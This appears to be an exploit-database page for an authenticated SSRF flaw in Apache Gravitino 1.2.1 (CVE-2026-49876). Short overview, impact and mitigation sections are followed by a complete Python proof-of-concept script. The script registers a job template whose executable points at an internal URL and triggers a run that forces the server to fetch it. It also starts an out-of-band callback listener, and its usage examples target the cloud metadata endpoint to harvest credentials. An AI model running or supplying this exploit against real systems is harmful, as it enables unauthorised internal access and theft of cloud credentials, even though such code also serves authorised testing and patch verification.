Skip to main content

Apache Gravitino 1.2.1 – SSRF

Categories: WebApps

Apache Gravitino 1.2.1 – SSRF Vulnerability

Overview

The Apache Gravitino 1.2.1 vulnerability pertains to a Server-Side Request Forgery (SSRF) flaw that can be exploited by attackers to manipulate server requests. This vulnerability allows an unauthorized user to send crafted requests to internal resources, potentially exposing sensitive data or enabling further attacks within the network.

Technical Details

This SSRF vulnerability occurs due to improper validation of user-supplied URLs within the Gravitino application. An attacker can leverage this flaw by sending a specially crafted request that targets internal services, such as databases or metadata endpoints. For instance, if an attacker sends a request to http://localhost:8080/admin, the server may inadvertently process this request, allowing the attacker to gain access to internal APIs or sensitive information that should be protected.

Moreover, the lack of input sanitization means that attackers can manipulate the request to interact with other internal services, potentially leading to data exfiltration or unauthorized actions. This can also include accessing cloud provider metadata services, which may contain critical credentials.

Impact

The consequences of exploiting this SSRF vulnerability can be severe. Attackers can gain unauthorized access to internal systems, leading to data breaches, service disruptions, or even complete system compromise. The exploitation may provide access to sensitive information, such as API keys and database credentials, which can be used for further attacks against the infrastructure.

Mitigation

To protect against the Apache Gravitino 1.2.1 SSRF vulnerability, organizations should implement robust input validation mechanisms. Ensure that any URLs processed by the server are strictly validated against a whitelist of allowed domains and protocols. Additionally, consider employing network segmentation to limit access to sensitive internal services.

Regularly update the Apache Gravitino application to the latest version as patches become available. Furthermore, employ security monitoring tools to detect unusual outbound requests that may indicate an ongoing attack. Educating development teams about secure coding practices can also help mitigate similar vulnerabilities in the future.

Proof of Concept (PoC)

poc.sh
# Exploit Title: Apache Gravitino 1.2.1 - SSRF 
# Google Dork: N/A
# Date: 2026-07-13
# Exploit Author: Ajay Rajpurohit
# Vendor Homepage: https://gravitino.apache.org/
# Software Link: https://github.com/apache/gravitino
# Version: 1.0.0 - 1.2.1
# Tested on: Ubuntu 22.04 LTS
# CVE: CVE-2026-49876
#
# Description:
#   A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
#   versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
#   JobManager.java processes URIs from job template fields (executable, scripts,
#   jars, files, archives) without validating the destination. It accepts http,
#   https, and ftp schemes and downloads remote content to the server's staging
#   directory via FileUtils.copyURLToFile().
#
#   An authenticated attacker can:
#     • Register a job template with an internal/metadata URL as the executable
#     • Trigger a job run, forcing the server to fetch the URL
#     • Read the downloaded content from the staging directory (if accessible)
#     • Use OOB callbacks for blind SSRF detection
#
# References:
#   CVE Record:    https://nvd.nist.gov/vuln/detail/CVE-2026-49876
#   Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
#   Fixing Commit:  https://github.com/apache/gravitino/commit/<commit-hash>
#
# --- Reproducibility ---
#
# Prerequisites:
#   1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
#   2. A valid Gravitino user account (any role with job template privileges)
#   3. Python 3.8+ with `requests` library (pip3 install requests)
#
# Setup (if testing locally):
#   wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
#   tar xzf gravitino-1.2.0-bin.tar.gz
#   cd gravitino-1.2.0-bin
#   ./bin/gravitino.sh start
#
# Expected output:
#   [+] Authenticated as <user>
#   [+] Template 'ssrf-poc-xxxxxx' registered
#   [+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs
#   [+] SSRF confirmed — server fetched internal resource
#
# Usage:
#   # Direct SSRF — fetch internal config
#   python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin 
#       --url http://127.0.0.1:8090/configs
#
#   # Cloud metadata (AWS IMDSv1)
#   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass 
#       --url http://169.254.169.254/latest/meta-data/
#
#   # Blind SSRF with OOB callback server
#   python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass 
#       --url http://<your-ip>:8888/callback --oob --oob-port 8888
#
# Requirements:
#   pip3 install requests
#

import argparse
import base64
import http.server
import json
import random
import socketserver
import string
import sys
import threading
import time
from datetime import datetime

try:
    import requests
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    print("[!] Missing dependency. Install: pip3 install requests")
    sys.exit(1)


# ─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
class CallbackHandler(http.server.BaseHTTPRequestHandler):
    """Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
    received = []

    def log_message(self, fmt, *args):
        return

    def _respond(self, method):
        body = b""
        cl = int(self.headers.get("Content-Length", 0))
        if cl > 0:
            body = self.rfile.read(min(cl, 4096))
        entry = {
            "time": datetime.now().isoformat(),
            "method": method,
            "path": self.path,
            "source": f"{self.client_address[0]}:{self.client_address[1]}",
            "user_agent": self.headers.get("User-Agent", ""),
        }
        CallbackHandler.received.append(entry)
        print(f"n  [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
        print(f"      User-Agent: {entry['user_agent']}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

    do_GET     = lambda s: s._respond("GET")
    do_POST    = lambda s: s._respond("POST")
    do_HEAD    = lambda s: s._respond("HEAD")
    do_PUT     = lambda s: s._respond("PUT")
    do_OPTIONS = lambda s: s._respond("OPTIONS")


def start_oob_server(port: int) -> None:
    """Start a background HTTP server on the given port for OOB callbacks."""
    server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
    server.allow_reuse_address = True
    t = threading.Thread(target=server.serve_forever, daemon=True)
    t.start()


# ─── Gravitino REST Client ─────────────────────────────────────────────────
class Gravitino:
    """Minimal client for the Gravitino REST API — just enough for the PoC."""

    def __init__(self, base_url: str, username: str, password: str,
                 metalake: str = "metalake", verify: bool = False):
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.metalake = metalake
        self.s = requests.Session()
        self.s.verify = verify

    def login(self) -> bool:
        """Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
        # Try OAuth2
        try:
            r = self.s.post(
                f"{self.base}/oauth2/token",
                data={
                    "grant_type": "password",
                    "username": self.username,
                    "password": self.password,
                    "client_id": "gravitino_client",
                    "scope": "all",
                },
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=15,
            )
            if r.status_code == 200:
                token = r.json().get("access_token")
                if token:
                    self.s.headers["Authorization"] = f"Bearer {token}"
                    print(f"[+] Authenticated via OAuth2 token")
                    return True
        except Exception:
            pass

        # Fallback: Basic auth
        creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
        self.s.headers["Authorization"] = f"Basic {creds}"
        try:
            r = self.s.get(f"{self.base}/api/version", timeout=10)
            if r.status_code == 200:
                print(f"[+] Authenticated via Basic auth")
                return True
        except Exception:
            pass

        print("[!] Authentication failed. Provide valid credentials (-u / -p).")
        return False

    def ensure_metalake(self) -> bool:
        """Create the metalake if it doesn't exist."""
        try:
            r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
            if r.status_code == 200:
                return True
        except Exception:
            pass
        try:
            r = self.s.post(f"{self.base}/api/metalakes",
                            json={"name": self.metalake, "comment": "", "properties": {}},
                            timeout=10)
            if r.status_code in (200, 201, 409):
                return True
        except Exception:
            pass
        # Proceed anyway — metalake may already exist under a different name
        return True

    def trigger_ssrf(self, ssrf_url: str) -> bool:
        """Register a job template with the SSRF URL and trigger execution."""
        name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
        print(f"[*] Registering template '{name}' with URL: {ssrf_url}")

        # Step 1: Register template
        template = {
            "name": name,
            "jobType": "shell",
            "executable": ssrf_url,
            "arguments": [],
        }
        try:
            r = self.s.post(
                f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
                json={"jobTemplate": template},
                timeout=15,
            )
            if r.status_code not in (200, 201):
                print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
                return False
        except requests.RequestException as e:
            print(f"[!] Registration error: {e}")
            return False

        time.sleep(0.5)

        # Step 2: Trigger job run
        print(f"[*] Triggering job run...")
        try:
            r = self.s.post(
                f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
                json={"jobTemplateName": name},
                timeout=15,
            )
            try:
                body = r.json() if r.text else {}
            except ValueError:
                body = {}
            if r.status_code == 200 and body.get("code") == 0:
                print(f"[+] Job triggered — SSRF request sent")
                return True
            else:
                # Even on some errors, the SSRF may have fired
                print(f"[*] Response: {r.status_code} {r.text[:200]}")
                return r.status_code == 200
        except requests.RequestException as e:
            print(f"[!] Trigger error: {e}")
            return False


# ─── Main ──────────────────────────────────────────────────────────────────
def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
        epilog="""
Examples:
  %(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
  %(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
  %(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
        """,
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-t", "--target", required=True,
                        help="Gravitino server (e.g. http://127.0.0.1:8090)")
    parser.add_argument("-u", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    parser.add_argument("--url", required=True,
                        help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)")
    parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
    parser.add_argument("--oob", action="store_true",
                        help="Start OOB callback server for blind SSRF detection")
    parser.add_argument("--oob-port", type=int, default=8888,
                        help="Port for OOB callback server (default: 8888)")
    parser.add_argument("--oob-wait", type=int, default=15,
                        help="Seconds to wait for OOB callbacks (default: 15)")
    parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")

    args = parser.parse_args()

    print(f"n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF")
    print(f"[*] Target: {args.target}")
    print(f"[*] SSRF URL: {args.url}n")

    # Proxy
    if args.proxy:
        import os
        os.environ["HTTP_PROXY"] = args.proxy
        os.environ["HTTPS_PROXY"] = args.proxy

    # OOB callback server
    if args.oob:
        start_oob_server(args.oob_port)
        print(f"[*] OOB callback server listening on port {args.oob_port}")

    # Auth
    g = Gravitino(args.target, args.username, args.password, args.metalake)
    if not g.login():
        sys.exit(1)

    # Ensure metalake
    g.ensure_metalake()

    # Exploit
    success = g.trigger_ssrf(args.url)

    # Wait for OOB callbacks
    if args.oob:
        print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
        time.sleep(args.oob_wait)
        if CallbackHandler.received:
            print(f"n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed")
            for cb in CallbackHandler.received:
                print(f"    {cb['method']} {cb['path']} from {cb['source']}")
        else:
            print(f"n[-] No OOB callbacks received (server may not allow outbound HTTP)")

    # Summary
    print(f"n{'='*50}")
    print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
    print(f"{'='*50}n")
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...